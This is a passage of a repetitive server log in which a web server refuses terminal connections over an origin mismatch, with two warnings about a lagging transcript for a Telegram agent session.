hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:44:55,825 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:45:00,652 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:45:05,863 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:45:12,171 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:45:17,544 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:45:22,669 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:45:27,549 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:45:32,690 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:45:37,400 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:45:42,355 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:45:47,639 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:45:52,490 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:45:57,558 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:46:02,730 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:46:07,631 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:46:12,751 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:46:16,739 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:46:21,529 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:46:26,550 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:46:31,461 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:46:36,535 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:46:40,739 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:46:45,581 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:46:50,494 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:46:54,955 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:47:00,520 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:47:06,018 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:47:12,051 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:47:19,357 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:47:23,842 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:47:28,490 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:47:33,475 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:47:38,439 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:47:43,492 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:47:48,515 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:47:53,434 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:47:58,549 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:48:03,560 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:48:08,740 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:48:13,906 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:48:18,876 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:48:24,428 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:48:29,532 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:48:34,448 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:48:39,522 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:48:44,585 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:48:49,497 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:48:54,601 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:48:59,727 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:49:03,828 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:49:08,938 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:49:13,557 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:49:18,776 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:49:24,377 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:49:29,661 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:49:34,480 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:49:39,409 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:49:44,678 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:49:49,467 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:49:54,522 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:49:59,748 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:50:04,822 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:50:08,981 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:50:14,804 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:50:19,918 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:50:25,137 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:50:30,534 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:50:35,435 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:50:40,427 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:50:45,504 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:50:50,515 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:50:55,756 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:51:00,612 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:51:05,526 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:51:10,755 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:51:15,753 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:51:20,648 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:51:25,866 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:51:33,075 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:51:37,759 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:51:41,850 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:51:46,486 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:51:51,576 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:51:56,470 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:52:01,602 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:52:06,620 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:52:11,668 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:52:17,003 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:52:22,534 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:52:28,234 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:52:36,630 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:52:41,560 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:52:46,554 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:52:51,575 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:52:56,501 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:53:00,777 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:53:05,611 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:53:10,821 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:53:15,742 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:53:20,993 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:53:26,655 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:53:31,646 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:53:38,100 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:53:43,412 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:53:48,506 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:53:53,632 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:53:58,398 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:54:03,715 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:54:08,584 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:54:13,699 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:54:14,315 WARNING [20260710_094439_1cb443b1] gateway.run: Persisted transcript lagged live cached history for session agent:main:telegram:group:-1003707758328:12 (disk=198, memory=199); preserving live conversation context (possible FTS write corruption) 2026-07-20 09:54:18,822 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:54:23,937 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:54:28,285 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:54:33,625 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:54:42,058 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:54:47,634 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:54:52,490 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:54:57,520 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:55:02,788 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:55:07,665 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:55:12,517 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:55:17,014 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:55:22,817 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:55:27,746 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:55:32,042 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:55:37,578 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:55:42,685 WARNING [20260712_081412_654c5f58] gateway.run: Persisted transcript lagged live cached history for session agent:main:telegram:group:-1003707758328:12 (disk=200, memory=201); preserving live conversation context (possible FTS write corruption) 2026-07-20 09:55:43,814 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:55:48,371 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:55:53,427 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:55:58,412 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:56:03,625 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:56:08,454 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:56:13,378 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:56:18,444 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:56:22,773 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:56:27,682 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:56:32,726 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:56:37,591 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:56:42,922 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:56:47,585 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:56:52,417 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:56:57,442 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:57:02,574 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:57:07,474 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:57:12,570 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:57:17,508 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:57:22,741 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:57:27,736 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:57:32,517 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:57:37,400 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:57:42,490 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:57:46,772 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:57:52,054 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:57:57,385 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:58:02,565 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:58:07,431 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:58:12,514 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:58:16,733 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:58:21,532 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:58:26,407 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:58:30,746 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:58:35,543 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:58:40,460 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:58:45,472 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:58:50,515 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:58:55,406 WARNING hermes_cli.web_server: 